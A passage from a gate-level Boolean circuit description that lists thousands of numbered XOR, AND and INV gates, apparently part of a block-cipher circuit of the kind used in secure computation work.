1 23017 23018 23127 XOR +1 1 23130 36663 INV +2 1 36663 543 1439 XOR +2 1 575 1439 1471 XOR +2 1 607 1471 1503 XOR +2 1 639 1503 1535 XOR +1 1 23129 36664 INV +1 1 23128 36669 INV +2 1 36669 537 1433 XOR +2 1 569 1433 1465 XOR +2 1 601 1465 1497 XOR +2 1 633 1497 1529 XOR +2 1 1535 1529 21230 XOR +1 1 23127 36668 INV +2 1 36668 538 1434 XOR +2 1 570 1434 1466 XOR +2 1 602 1466 1498 XOR +2 1 634 1498 1530 XOR +2 1 1530 21230 21315 XOR +2 1 36664 542 1438 XOR +2 1 574 1438 1470 XOR +2 1 606 1470 1502 XOR +2 1 638 1502 1534 XOR +2 1 1534 1532 21223 XOR +2 1 1534 21315 21311 XOR +2 1 21315 21311 21298 AND +2 1 21405 21406 32707 XOR +2 1 21402 32707 21382 XOR +2 1 21403 21382 21342 XOR +2 1 21398 21382 21348 XOR +1 1 21348 21345 INV +2 1 21345 21346 36689 XOR +2 1 36689 517 1413 XOR +2 1 549 1413 1445 XOR +2 1 581 1445 1477 XOR +2 1 613 1477 1509 XOR +2 1 1509 20528 20530 XOR +2 1 1505 20530 20611 XOR +2 1 1506 20530 20608 XOR +2 1 20535 20530 20610 XOR +2 1 1510 1509 20545 XOR +2 1 1508 1509 20505 XOR +2 1 21371 21342 36694 XOR +2 1 36694 512 1408 XOR +2 1 544 1408 1440 XOR +2 1 576 1440 1472 XOR +2 1 608 1472 1504 XOR +2 1 1506 1504 20529 XOR +2 1 20529 20535 20617 XOR +2 1 20545 20617 20615 XOR +2 1 1504 1510 20623 XOR +2 1 1504 1509 20621 XOR +2 1 20623 20608 20604 AND +2 1 20604 20529 20533 XOR +2 1 20617 20610 20602 AND +2 1 32707 21380 36691 XOR +2 1 36691 515 1411 XOR +2 1 547 1411 1443 XOR +2 1 579 1443 1475 XOR +2 1 611 1475 1507 XOR +2 1 1507 1505 20531 XOR +2 1 1507 1504 20622 XOR +2 1 20622 20545 20618 XOR +2 1 20528 20622 20614 XOR +2 1 1511 20614 20613 XOR +2 1 1509 1507 20624 XOR +2 1 20529 20624 20609 XOR +2 1 20531 20529 20491 XOR +2 1 20528 20491 20612 XOR +2 1 20531 1506 20490 XOR +2 1 1511 20490 20619 XOR +2 1 20614 20618 20607 AND +2 1 20607 20531 20534 XOR +2 1 20615 20613 20606 AND +2 1 20619 1511 20605 AND +2 1 20622 20611 20601 AND +2 1 20601 20530 20532 XOR +2 1 20534 20532 20538 XOR +2 1 1504 20538 20543 XOR +2 1 20624 20609 20600 AND +2 1 20600 20606 20552 XOR +2 1 20552 20543 20598 XOR +2 1 20600 20601 20504 XOR +2 1 20504 20505 20551 XOR +2 1 20551 20533 20550 XOR +2 1 20603 20550 20597 XOR +2 1 20621 20612 20599 AND +2 1 20599 20602 20553 XOR +2 1 20599 20605 20557 XOR +2 1 20557 20529 20544 XOR +2 1 20552 20544 20595 XOR +2 1 20600 20553 20547 XOR +2 1 20533 20553 20507 XOR +2 1 20507 20532 20596 XOR +2 1 20538 20557 20506 XOR +2 1 1506 20506 20549 XOR +2 1 20603 20547 20503 XOR +2 1 1510 20503 20590 XOR +2 1 20598 20597 20594 AND +2 1 20594 20549 20589 XOR +2 1 20594 20596 20593 XOR +2 1 20595 20593 20592 AND +2 1 20592 20549 20591 XOR +2 1 20592 20604 20498 XOR +2 1 20498 20534 20494 XOR +2 1 1504 20494 20497 XOR +2 1 20592 20543 20495 XOR +2 1 1506 20494 20493 XOR +2 1 20589 20590 20588 AND +2 1 20588 20596 20587 XOR +2 1 20594 20588 20586 XOR +2 1 20588 20547 20502 XOR +2 1 20588 20605 20501 XOR +2 1 20501 20602 20496 XOR +2 1 20496 20497 20579 XOR +2 1 20596 20586 20585 AND +2 1 20585 20593 20583 XOR +2 1 20585 20603 20556 XOR +2 1 20556 20550 20577 XOR +2 1 1510 20556 20539 XOR +2 1 20539 20502 20584 XOR +2 1 20591 20583 20582 AND +2 1 20582 20552 20542 XOR +2 1 20542 20544 20581 XOR +2 1 20582 20606 20500 XOR +2 1 20539 20500 20492 XOR +2 1 20529 20492 20499 XOR +2 1 20496 20499 20580 XOR +2 1 20542 20495 20578 XOR +2 1 20492 20493 20576 XOR +2 1 20577 20614 20575 AND +2 1 20584 20613 20574 AND +2 1 20587 1511 20573 AND +2 1 20573 20575 20555 XOR +2 1 20578 20608 20572 AND +2 1 20581 20620 20571 AND +2 1 20591 20610 20570 AND +2 1 20570 20571 20509 XOR +2 1 20579 20611 20569 AND +2 1 20576 20609 20568 AND +2 1 20568 20571 20524 XOR +1 1 20524 20521 INV +2 1 20568 20569 20520 XOR +2 1 20580 20612 20567 AND +2 1 20577 20618 20566 AND +2 1 20584 20615 20565 AND +2 1 20587 20619 20564 AND +2 1 20578 20623 20563 AND +2 1 20563 20567 20540 XOR +2 1 20572 20563 20525 XOR +1 1 20540 20518 INV +2 1 20581 20616 20562 AND +2 1 20570 20562 20527 XOR +2 1 20591 20617 20561 AND +2 1 20518 20561 20517 XOR +2 1 20517 20555 20513 XOR +2 1 20579 20622 20560 AND +2 1 20560 20513 20516 XOR +2 1 20576 20624 20559 AND +2 1 20559 20560 20554 XOR +2 1 20565 20554 20536 XOR +2 1 20566 20536 20537 XOR +2 1 20574 20537 20541 XOR +2 1 20575 20541 20546 XOR +2 1 20527 20554 20523 XOR +2 1 20555 20523 20526 XOR +2 1 20525 20526 20628 XOR +2 1 20518 20523 20522 XOR +2 1 20521 20522 20627 XOR +2 1 20546 20520 20626 XOR +2 1 20536 20513 20512 XOR +2 1 20573 20541 20510 XOR +2 1 20509 20510 36698 XOR +2 1 36698 1436 1308 XOR +2 1 1468 1308 1340 XOR +2 1 1500 1340 1372 XOR +2 1 1532 1372 1404 XOR +2 1 20580 20621 20558 AND +2 1 20569 20558 20519 XOR +1 1 20519 20515 INV +2 1 20515 20516 20625 XOR +1 1 20628 36695 INV +2 1 36695 1439 1311 XOR +2 1 1471 1311 1343 XOR +2 1 1503 1343 1375 XOR +2 1 1535 1375 1407 XOR +1 1 20627 36696 INV +2 1 36696 1438 1310 XOR +2 1 1470 1310 1342 XOR +2 1 1502 1342 1374 XOR +2 1 1534 1374 1406 XOR +2 1 1406 1404 12734 XOR +1 1 20626 36701 INV +2 1 36701 1433 1305 XOR +1 1 20625 36700 INV +2 1 36700 1434 1306 XOR +2 1 1466 1306 1338 XOR +2 1 1498 1338 1370 XOR +2 1 1530 1370 1402 XOR +2 1 1465 1305 1337 XOR +2 1 1497 1337 1369 XOR +2 1 1529 1369 1401 XOR +2 1 1407 1401 12741 XOR +2 1 1402 12741 12827 XOR +2 1 1406 12827 12823 XOR +2 1 12827 12823 12810 AND +2 1 20571 20572 32701 XOR +2 1 32701 20546 36699 XOR +2 1 20568 32701 20548 XOR +2 1 20564 20548 20514 XOR +1 1 20514 20511 INV +2 1 20511 20512 36697 XOR +2 1 20569 20548 20508 XOR +2 1 20537 20508 36702 XOR +2 1 23073 23074 32719 XOR +2 1 23070 32719 23050 XOR +2 1 23071 23050 23010 XOR +2 1 23039 23010 36670 XOR +2 1 23066 23050 23016 XOR +1 1 23016 23013 INV +2 1 23013 23014 36665 XOR +2 1 32719 23048 36667 XOR +2 1 24609 24610 32723 XOR +2 1 24606 32723 24586 XOR +2 1 24602 24586 24552 XOR +1 1 24552 24549 INV +2 1 24607 24586 24546 XOR +2 1 24575 24546 36606 XOR +2 1 36606 792 664 XOR +2 1 36638 664 536 XOR +2 1 36670 536 1432 XOR +2 1 824 664 696 XOR +2 1 696 536 568 XOR +2 1 568 1432 1464 XOR +2 1 856 696 728 XOR +2 1 728 568 600 XOR +2 1 888 728 760 XOR +2 1 760 766 23682 XOR +2 1 760 600 632 XOR +2 1 634 632 18722 XOR +2 1 18722 18728 18810 XOR +2 1 632 638 18816 XOR +2 1 600 1464 1496 XOR +2 1 632 1496 1528 XOR +2 1 1530 1528 21224 XOR +2 1 21224 21230 21312 XOR +2 1 1528 1534 21318 XOR +2 1 24549 24550 36601 XOR +2 1 36601 797 669 XOR +2 1 36633 669 541 XOR +2 1 829 669 701 XOR +2 1 701 541 573 XOR +2 1 861 701 733 XOR +2 1 733 573 605 XOR +2 1 893 733 765 XOR +2 1 766 765 23603 XOR +2 1 765 23586 23588 XOR +2 1 764 765 23563 XOR +2 1 761 23588 23670 XOR +2 1 23593 23588 23669 XOR +2 1 765 605 637 XOR +2 1 632 637 18814 XOR +2 1 637 18721 18723 XOR +2 1 634 18723 18801 XOR +2 1 18728 18723 18803 XOR +2 1 18816 18801 18797 AND +2 1 18797 18722 18726 XOR +2 1 18810 18803 18795 AND +2 1 633 18723 18804 XOR +2 1 636 637 18698 XOR +2 1 760 765 23680 XOR +2 1 638 637 18738 XOR +2 1 18738 18810 18808 XOR +2 1 762 23588 23667 XOR +2 1 762 760 23587 XOR +2 1 23587 23593 23676 XOR +2 1 23603 23676 23674 XOR +2 1 23676 23669 23661 AND +2 1 36665 541 1437 XOR +2 1 36697 1437 1309 XOR +2 1 36702 1432 1304 XOR +2 1 1464 1304 1336 XOR +2 1 1496 1336 1368 XOR +2 1 1528 1368 1400 XOR +2 1 1402 1400 12735 XOR +2 1 12735 12741 12824 XOR +2 1 1400 1406 12830 XOR +2 1 573 1437 1469 XOR +2 1 1469 1309 1341 XOR +2 1 605 1469 1501 XOR +2 1 637 1501 1533 XOR +2 1 1532 1533 21200 XOR +2 1 1528 1533 21316 XOR +2 1 1501 1341 1373 XOR +2 1 1533 1373 1405 XOR +2 1 1405 12734 12736 XOR +2 1 1401 12736 12818 XOR +2 1 1402 12736 12815 XOR +2 1 12741 12736 12817 XOR +2 1 1406 1405 12752 XOR +2 1 1404 1405 12711 XOR +2 1 1534 1533 21240 XOR +2 1 21240 21312 21310 XOR +2 1 1533 21223 21225 XOR +2 1 1530 21225 21303 XOR +2 1 21230 21225 21305 XOR +2 1 21318 21303 21299 AND +2 1 21312 21305 21297 AND +2 1 21299 21224 21228 XOR +2 1 12752 12824 12822 XOR +2 1 1400 1405 12828 XOR +2 1 12830 12815 12811 AND +2 1 12811 12735 12739 XOR +2 1 12824 12817 12809 AND +2 1 1529 21225 21306 XOR +2 1 23682 23667 23663 AND +2 1 23663 23587 23591 XOR +2 1 32723 24584 36603 XOR +2 1 36603 795 667 XOR +2 1 827 667 699 XOR +2 1 859 699 731 XOR +2 1 891 731 763 XOR +2 1 36635 667 539 XOR +2 1 699 539 571 XOR +2 1 36667 539 1435 XOR +2 1 731 571 603 XOR +2 1 763 603 635 XOR +2 1 571 1435 1467 XOR +2 1 603 1467 1499 XOR +2 1 635 1499 1531 XOR +2 1 36699 1435 1307 XOR +2 1 635 633 18724 XOR +2 1 635 632 18815 XOR +2 1 18815 18738 18811 XOR +2 1 18721 18815 18807 XOR +2 1 639 18807 18806 XOR +2 1 637 635 18817 XOR +2 1 18722 18817 18802 XOR +2 1 18724 18722 18684 XOR +2 1 18721 18684 18805 XOR +2 1 18724 634 18683 XOR +2 1 639 18683 18812 XOR +2 1 18807 18811 18800 AND +2 1 18800 18724 18727 XOR +2 1 18808 18806 18799 AND +2 1 18812 639 18798 AND +2 1 18815 18804 18794 AND +2 1 18794 18723 18725 XOR +2 1 18727 18725 18731 XOR +2 1 632 18731 18736 XOR +2 1 18817 18802 18793 AND +2 1 18793 18799 18745 XOR +2 1 18745 18736 18791 XOR +2 1 18793 18794 18697 XOR +2 1 18697 18698 18744 XOR +2 1 18744 18726 18743 XOR +2 1 18796 18743 18790 XOR +2 1 18814 18805 18792 AND +2 1 18792 18795 18746 XOR +2 1 18792 18798 18750 XOR +2 1 18750 18722 18737 XOR +2 1 18745 18737 18788 XOR +2 1 18793 18746 18740 XOR +2 1 18726 18746 18700 XOR +2 1 18700 18725 18789 XOR +2 1 18731 18750 18699 XOR +2 1 634 18699 18742 XOR +2 1 18796 18740 18696 XOR +2 1 638 18696 18783 XOR +2 1 18791 18790 18787 AND +2 1 18787 18742 18782 XOR +2 1 18787 18789 18786 XOR +2 1 18788 18786 18785 AND +2 1 18785 18742 18784 XOR +2 1 18785 18797 18691 XOR +2 1 18691 18727 18687 XOR +2 1 632 18687 18690 XOR +2 1 18785 18736 18688 XOR +2 1 634 18687 18686 XOR +2 1 18782 18783 18781 AND +2 1 18781 18789 18780 XOR +2 1 18787 18781 18779 XOR +2 1 18781 18740 18695 XOR +2 1 18781 18798 18694 XOR +2 1 18694 18795 18689 XOR +2 1 18689 18690 18772 XOR +2 1 18789 18779 18778 AND +2 1 18778 18786 18776 XOR +2 1 18778 18796 18749 XOR +2 1 18749 18743 18770 XOR +2 1 638 18749 18732 XOR +2 1 18732 18695 18777 XOR +2 1 18784 18776 18775 AND +2 1 18775 18745 18735 XOR +2 1 18735 18737 18774 XOR +2 1 18775 18799 18693 XOR +2 1 18732 18693 18685 XOR +2 1 18722 18685 18692 XOR +2 1 18689 18692 18773 XOR +2 1 18735 18688 18771 XOR +2 1 18685 18686 18769 XOR +2 1 18770 18807 18768 AND +2 1 18777 18806 18767 AND +2 1 18780 639 18766 AND +2 1 18766 18768 18748 XOR +2 1 18771 18801 18765 AND +2 1 18774 18813 18764 AND +2 1 18784 18803 18763 AND +2 1 18763 18764 18702 XOR +2 1 18772 18804 18762 AND +2 1 18769 18802 18761 AND +2 1 18761 18764 18717 XOR +1 1 18717 18714 INV +2 1 18761 18762 18713 XOR +2 1 18773 18805 18760 AND +2 1 18770 18811 18759 AND +2 1 18777 18808 18758 AND +2 1 18780 18812 18757 AND +2 1 18771 18816 18756 AND +2 1 18756 18760 18733 XOR +2 1 18765 18756 18718 XOR +1 1 18733 18711 INV +2 1 18774 18809 18755 AND +2 1 18763 18755 18720 XOR +2 1 18784 18810 18754 AND +2 1 18711 18754 18710 XOR +2 1 18710 18748 18706 XOR +2 1 18772 18815 18753 AND +2 1 18753 18706 18709 XOR +2 1 18769 18817 18752 AND +2 1 18752 18753 18747 XOR +2 1 18758 18747 18729 XOR +2 1 18759 18729 18730 XOR +2 1 18767 18730 18734 XOR +2 1 18768 18734 18739 XOR +2 1 18720 18747 18716 XOR +2 1 18748 18716 18719 XOR +2 1 18718 18719 18821 XOR +2 1 18711 18716 18715 XOR +2 1 18714 18715 18820 XOR +2 1 18739 18713 18819 XOR +2 1 18729 18706 18705 XOR +2 1 18766 18734 18703 XOR +2 1 18702 18703 36674 XOR +2 1 18773 18814 18751 AND +2 1 18762 18751 18712 XOR +1 1 18712 18708 INV +2 1 18708 18709 18818 XOR +1 1 18821 36671 INV +1 1 18820 36672 INV +1 1 18819 36677 INV +1 1 18818 36676 INV +2 1 1531 1529 21226 XOR +2 1 1531 1528 21317 XOR +2 1 21317 21240 21313 XOR +2 1 21223 21317 21309 XOR +2 1 1535 21309 21308 XOR +2 1 1533 1531 21319 XOR +2 1 21224 21319 21304 XOR +2 1 21226 21224 21186 XOR +2 1 21223 21186 21307 XOR +2 1 21226 1530 21185 XOR +2 1 1535 21185 21314 XOR +2 1 21309 21313 21302 AND +2 1 21302 21226 21229 XOR +2 1 21310 21308 21301 AND +2 1 21314 1535 21300 AND +2 1 21317 21306 21296 AND +2 1 21296 21225 21227 XOR +2 1 21229 21227 21233 XOR +2 1 1528 21233 21238 XOR +2 1 21319 21304 21295 AND +2 1 21295 21301 21247 XOR +2 1 21247 21238 21293 XOR +2 1 21295 21296 21199 XOR +2 1 21199 21200 21246 XOR +2 1 21246 21228 21245 XOR +2 1 21298 21245 21292 XOR +2 1 21316 21307 21294 AND +2 1 21294 21297 21248 XOR +2 1 21294 21300 21252 XOR +2 1 21252 21224 21239 XOR +2 1 21247 21239 21290 XOR +2 1 21295 21248 21242 XOR +2 1 21228 21248 21202 XOR +2 1 21202 21227 21291 XOR +2 1 21233 21252 21201 XOR +2 1 1530 21201 21244 XOR +2 1 21298 21242 21198 XOR +2 1 1534 21198 21285 XOR +2 1 21293 21292 21289 AND +2 1 21289 21244 21284 XOR +2 1 21289 21291 21288 XOR +2 1 21290 21288 21287 AND +2 1 21287 21244 21286 XOR +2 1 21287 21299 21193 XOR +2 1 21193 21229 21189 XOR +2 1 1528 21189 21192 XOR +2 1 21287 21238 21190 XOR +2 1 1530 21189 21188 XOR +2 1 21284 21285 21283 AND +2 1 21283 21291 21282 XOR +2 1 21289 21283 21281 XOR +2 1 21283 21242 21197 XOR +2 1 21283 21300 21196 XOR +2 1 21196 21297 21191 XOR +2 1 21191 21192 21274 XOR +2 1 21291 21281 21280 AND +2 1 21280 21288 21278 XOR +2 1 21280 21298 21251 XOR +2 1 21251 21245 21272 XOR +2 1 1534 21251 21234 XOR +2 1 21234 21197 21279 XOR +2 1 21286 21278 21277 AND +2 1 21277 21247 21237 XOR +2 1 21237 21239 21276 XOR +2 1 21277 21301 21195 XOR +2 1 21234 21195 21187 XOR +2 1 21224 21187 21194 XOR +2 1 21191 21194 21275 XOR +2 1 21237 21190 21273 XOR +2 1 21187 21188 21271 XOR +2 1 21272 21309 21270 AND +2 1 21279 21308 21269 AND +2 1 21282 1535 21268 AND +2 1 21268 21270 21250 XOR +2 1 21273 21303 21267 AND +2 1 21276 21315 21266 AND +2 1 21286 21305 21265 AND +2 1 21265 21266 21204 XOR +2 1 21274 21306 21264 AND +2 1 21271 21304 21263 AND +2 1 21263 21266 21219 XOR +1 1 21219 21216 INV +2 1 21263 21264 21215 XOR +2 1 21275 21307 21262 AND +2 1 21272 21313 21261 AND +2 1 21279 21310 21260 AND +2 1 21282 21314 21259 AND +2 1 21273 21318 21258 AND +2 1 21258 21262 21235 XOR +2 1 21267 21258 21220 XOR +1 1 21235 21213 INV +2 1 21276 21311 21257 AND +2 1 21265 21257 21222 XOR +2 1 21286 21312 21256 AND +2 1 21213 21256 21212 XOR +2 1 21212 21250 21208 XOR +2 1 21274 21317 21255 AND +2 1 21255 21208 21211 XOR +2 1 21271 21319 21254 AND +2 1 21254 21255 21249 XOR +2 1 21260 21249 21231 XOR +2 1 21261 21231 21232 XOR +2 1 21269 21232 21236 XOR +2 1 21270 21236 21241 XOR +2 1 21222 21249 21218 XOR +2 1 21250 21218 21221 XOR +2 1 21220 21221 21323 XOR +2 1 21213 21218 21217 XOR +2 1 21216 21217 21322 XOR +2 1 21241 21215 21321 XOR +2 1 21231 21208 21207 XOR +2 1 21268 21236 21205 XOR +2 1 21204 21205 36706 XOR +2 1 21275 21316 21253 AND +2 1 21264 21253 21214 XOR +1 1 21214 21210 INV +2 1 21210 21211 21320 XOR +1 1 21323 36703 INV +1 1 21322 36704 INV +1 1 21321 36709 INV +1 1 21320 36708 INV +2 1 1467 1307 1339 XOR +2 1 1499 1339 1371 XOR +2 1 1531 1371 1403 XOR +2 1 1403 1401 12737 XOR +2 1 1403 1400 12829 XOR +2 1 12829 12752 12825 XOR +2 1 12734 12829 12821 XOR +2 1 1407 12821 12820 XOR +2 1 1405 1403 12831 XOR +2 1 12735 12831 12816 XOR +2 1 12737 12735 12697 XOR +2 1 12734 12697 12819 XOR +2 1 12737 1402 12696 XOR +2 1 1407 12696 12826 XOR +2 1 12821 12825 12814 AND +2 1 12814 12737 12740 XOR +2 1 12822 12820 12813 AND +2 1 12826 1407 12812 AND +2 1 12829 12818 12808 AND +2 1 12808 12736 12738 XOR +2 1 12740 12738 12744 XOR +2 1 1400 12744 12750 XOR +2 1 12831 12816 12807 AND +2 1 12807 12813 12759 XOR +2 1 12759 12750 12805 XOR +2 1 12807 12808 12710 XOR +2 1 12710 12711 12758 XOR +2 1 12758 12739 12757 XOR +2 1 12810 12757 12804 XOR +2 1 12828 12819 12806 AND +2 1 12806 12809 12760 XOR +2 1 12806 12812 12764 XOR +2 1 12764 12735 12751 XOR +2 1 12759 12751 12802 XOR +2 1 12807 12760 12754 XOR +2 1 12739 12760 12713 XOR +2 1 12713 12738 12803 XOR +2 1 12744 12764 12712 XOR +2 1 1402 12712 12756 XOR +2 1 12810 12754 12709 XOR +2 1 1406 12709 12797 XOR +2 1 12805 12804 12801 AND +2 1 12801 12756 12796 XOR +2 1 12801 12803 12800 XOR +2 1 12802 12800 12799 AND +2 1 12799 12756 12798 XOR +2 1 12799 12811 12704 XOR +2 1 12704 12740 12700 XOR +2 1 1400 12700 12703 XOR +2 1 12799 12750 12701 XOR +2 1 1402 12700 12699 XOR +2 1 12796 12797 12795 AND +2 1 12795 12803 12794 XOR +2 1 12801 12795 12793 XOR +2 1 12795 12754 12708 XOR +2 1 12795 12812 12707 XOR +2 1 12707 12809 12702 XOR +2 1 12702 12703 12786 XOR +2 1 12803 12793 12792 AND +2 1 12792 12800 12790 XOR +2 1 12792 12810 12763 XOR +2 1 12763 12757 12784 XOR +2 1 1406 12763 12745 XOR +2 1 12745 12708 12791 XOR +2 1 12798 12790 12789 AND +2 1 12789 12759 12749 XOR +2 1 12749 12751 12788 XOR +2 1 12789 12813 12706 XOR +2 1 12745 12706 12698 XOR +2 1 12735 12698 12705 XOR +2 1 12702 12705 12787 XOR +2 1 12749 12701 12785 XOR +2 1 12698 12699 12783 XOR +2 1 12784 12821 12782 AND +2 1 12791 12820 12781 AND +2 1 12794 1407 12780 AND +2 1 12780 12782 12762 XOR +2 1 12785 12815 12779 AND +2 1 12788 12827 12778 AND +2 1 12778 12779 12747 XOR +2 1 12798 12817 12777 AND +2 1 12777 12778 12715 XOR +2 1 12786 12818 12776 AND +2 1 12783 12816 12775 AND +2 1 12775 12747 12755 XOR +2 1 12775 12778 12730 XOR +1 1 12730 12727 INV +2 1 12775 12776 12726 XOR +2 1 12776 12755 12714 XOR +2 1 12787 12819 12774 AND +2 1 12784 12825 12773 AND +2 1 12791 12822 12772 AND +2 1 12794 12826 12771 AND +2 1 12771 12755 12720 XOR +1 1 12720 12717 INV +2 1 12785 12830 12770 AND +2 1 12770 12774 12746 XOR +2 1 12779 12770 12731 XOR +1 1 12746 12724 INV +2 1 12788 12823 12769 AND +2 1 12777 12769 12733 XOR +2 1 12798 12824 12768 AND +2 1 12724 12768 12723 XOR +2 1 12723 12762 12719 XOR +2 1 12786 12829 12767 AND +2 1 12767 12719 12722 XOR +2 1 12783 12831 12766 AND +2 1 12766 12767 12761 XOR +2 1 12772 12761 12742 XOR +2 1 12773 12742 12743 XOR +2 1 12781 12743 12748 XOR +2 1 12782 12748 12753 XOR +2 1 12747 12753 36739 XOR +2 1 12733 12761 12729 XOR +2 1 12762 12729 12732 XOR +2 1 12731 12732 12835 XOR +2 1 12724 12729 12728 XOR +2 1 12727 12728 12834 XOR +2 1 12753 12726 12833 XOR +2 1 12742 12719 12718 XOR +2 1 12717 12718 36737 XOR +2 1 12780 12748 12716 XOR +2 1 12715 12716 36738 XOR +2 1 12743 12714 36742 XOR +2 1 12787 12828 12765 AND +2 1 12776 12765 12725 XOR +1 1 12725 12721 INV +2 1 12721 12722 12832 XOR +1 1 12835 36735 INV +1 1 12834 36736 INV +1 1 12833 36741 INV +1 1 12832 36740 INV +2 1 763 761 23589 XOR +2 1 763 760 23681 XOR +2 1 23681 23603 23677 XOR +2 1 23586 23681 23673 XOR +2 1 767 23673 23672 XOR +2 1 765 763 23683 XOR +2 1 23587 23683 23668 XOR +2 1 23589 23587 23549 XOR +2 1 23586 23549 23671 XOR +2 1 23589 762 23548 XOR +2 1 767 23548 23678 XOR +2 1 23673 23677 23666 AND +2 1 23666 23589 23592 XOR +2 1 23674 23672 23665 AND +2 1 23678 767 23664 AND +2 1 23681 23670 23660 AND +2 1 23660 23588 23590 XOR +2 1 23592 23590 23596 XOR +2 1 760 23596 23601 XOR +2 1 23683 23668 23659 AND +2 1 23659 23665 23610 XOR +2 1 23610 23601 23657 XOR +2 1 23659 23660 23562 XOR +2 1 23562 23563 23609 XOR +2 1 23609 23591 23608 XOR +2 1 23662 23608 23656 XOR +2 1 23680 23671 23658 AND +2 1 23658 23661 23611 XOR +2 1 23658 23664 23615 XOR +2 1 23615 23587 23602 XOR +2 1 23610 23602 23654 XOR +2 1 23659 23611 23605 XOR +2 1 23591 23611 23565 XOR +2 1 23565 23590 23655 XOR +2 1 23596 23615 23564 XOR +2 1 762 23564 23607 XOR +2 1 23662 23605 23561 XOR +2 1 766 23561 23649 XOR +2 1 23657 23656 23653 AND +2 1 23653 23607 23648 XOR +2 1 23653 23655 23652 XOR +2 1 23654 23652 23651 AND +2 1 23651 23607 23650 XOR +2 1 23651 23663 23556 XOR +2 1 23556 23592 23552 XOR +2 1 760 23552 23555 XOR +2 1 23651 23601 23553 XOR +2 1 762 23552 23551 XOR +2 1 23648 23649 23647 AND +2 1 23647 23655 23646 XOR +2 1 23653 23647 23645 XOR +2 1 23647 23605 23560 XOR +2 1 23647 23664 23559 XOR +2 1 23559 23661 23554 XOR +2 1 23554 23555 23638 XOR +2 1 23655 23645 23644 AND +2 1 23644 23652 23642 XOR +2 1 23644 23662 23614 XOR +2 1 23614 23608 23636 XOR +2 1 766 23614 23597 XOR +2 1 23597 23560 23643 XOR +2 1 23650 23642 23641 AND +2 1 23641 23610 23600 XOR +2 1 23600 23602 23640 XOR +2 1 23641 23665 23558 XOR +2 1 23597 23558 23550 XOR +2 1 23587 23550 23557 XOR +2 1 23554 23557 23639 XOR +2 1 23600 23553 23637 XOR +2 1 23550 23551 23635 XOR +2 1 23636 23673 23634 AND +2 1 23643 23672 23633 AND +2 1 23646 767 23632 AND +2 1 23632 23634 23613 XOR +2 1 23637 23667 23631 AND +2 1 23640 23679 23630 AND +2 1 23630 23631 23616 XOR +2 1 23650 23669 23629 AND +2 1 23629 23630 23567 XOR +2 1 23638 23670 23628 AND +2 1 23635 23668 23627 AND +2 1 23627 23616 23606 XOR +2 1 23627 23630 23582 XOR +1 1 23582 23579 INV +2 1 23627 23628 23578 XOR +2 1 23628 23606 23566 XOR +2 1 23639 23671 23626 AND +2 1 23636 23677 23625 AND +2 1 23643 23674 23624 AND +2 1 23646 23678 23623 AND +2 1 23623 23606 23572 XOR +1 1 23572 23569 INV +2 1 23637 23682 23622 AND +2 1 23622 23626 23598 XOR +2 1 23631 23622 23583 XOR +1 1 23598 23576 INV +2 1 23640 23675 23621 AND +2 1 23629 23621 23585 XOR +2 1 23650 23676 23620 AND +2 1 23576 23620 23575 XOR +2 1 23575 23613 23571 XOR +2 1 23638 23681 23619 AND +2 1 23619 23571 23574 XOR +2 1 23635 23683 23618 AND +2 1 23618 23619 23612 XOR +2 1 23624 23612 23594 XOR +2 1 23625 23594 23595 XOR +2 1 23633 23595 23599 XOR +2 1 23634 23599 23604 XOR +2 1 23616 23604 36643 XOR +2 1 36643 659 531 XOR +2 1 691 531 563 XOR +2 1 723 563 595 XOR +2 1 755 595 627 XOR +2 1 23585 23612 23581 XOR +2 1 23613 23581 23584 XOR +2 1 23583 23584 23687 XOR +2 1 23576 23581 23580 XOR +2 1 23579 23580 23686 XOR +2 1 23604 23578 23685 XOR +2 1 23594 23571 23570 XOR +2 1 23569 23570 36641 XOR +2 1 36641 661 533 XOR +2 1 693 533 565 XOR +2 1 725 565 597 XOR +2 1 757 597 629 XOR +2 1 629 627 15898 XOR +2 1 23632 23599 23568 XOR +2 1 23567 23568 36642 XOR +2 1 36642 660 532 XOR +2 1 36674 532 1428 XOR +2 1 692 532 564 XOR +2 1 724 564 596 XOR +2 1 756 596 628 XOR +2 1 628 629 15779 XOR +2 1 564 1428 1460 XOR +2 1 596 1460 1492 XOR +2 1 628 1492 1524 XOR +2 1 36706 1428 1300 XOR +2 1 1460 1300 1332 XOR +2 1 1492 1332 1364 XOR +2 1 1524 1364 1396 XOR +2 1 36738 1300 1172 XOR +2 1 1332 1172 1204 XOR +2 1 1364 1204 1236 XOR +2 1 1396 1236 1268 XOR +2 1 23595 23566 36646 XOR +2 1 36646 656 528 XOR +2 1 688 528 560 XOR +2 1 720 560 592 XOR +2 1 752 592 624 XOR +2 1 627 624 15896 XOR +2 1 624 629 15895 XOR +2 1 23639 23680 23617 AND +2 1 23628 23617 23577 XOR +1 1 23577 23573 INV +2 1 23573 23574 23684 XOR +1 1 23687 36639 INV +2 1 36639 663 535 XOR +2 1 36671 535 1431 XOR +2 1 695 535 567 XOR +2 1 727 567 599 XOR +2 1 759 599 631 XOR +2 1 567 1431 1463 XOR +2 1 599 1463 1495 XOR +2 1 631 1495 1527 XOR +2 1 36703 1431 1303 XOR +2 1 1463 1303 1335 XOR +2 1 1495 1335 1367 XOR +2 1 1527 1367 1399 XOR +2 1 36735 1303 1175 XOR +2 1 1335 1175 1207 XOR +2 1 1367 1207 1239 XOR +2 1 1399 1239 1271 XOR +1 1 23686 36640 INV +2 1 36640 662 534 XOR +2 1 36672 534 1430 XOR +2 1 694 534 566 XOR +2 1 726 566 598 XOR +2 1 758 598 630 XOR +2 1 630 628 15802 XOR +2 1 629 15802 15804 XOR +2 1 15802 15896 15888 XOR +2 1 631 15888 15887 XOR +2 1 630 629 15819 XOR +2 1 15896 15819 15892 XOR +2 1 624 630 15897 XOR +2 1 15888 15892 15881 AND +2 1 566 1430 1462 XOR +2 1 598 1462 1494 XOR +2 1 630 1494 1526 XOR +2 1 36704 1430 1302 XOR +2 1 1462 1302 1334 XOR +2 1 36736 1302 1174 XOR +2 1 1334 1174 1206 XOR +2 1 1526 1524 22474 XOR +1 1 23685 36645 INV +2 1 36645 657 529 XOR +2 1 36677 529 1425 XOR +2 1 689 529 561 XOR +2 1 721 561 593 XOR +2 1 753 593 625 XOR +2 1 561 1425 1457 XOR +2 1 625 15804 15885 XOR +2 1 627 625 15805 XOR +2 1 15881 15805 15808 XOR +2 1 631 625 15809 XOR +2 1 15809 15804 15884 XOR +2 1 15896 15885 15875 AND +2 1 15875 15804 15806 XOR +2 1 15808 15806 15812 XOR +2 1 624 15812 15817 XOR +2 1 36709 1425 1297 XOR +2 1 1457 1297 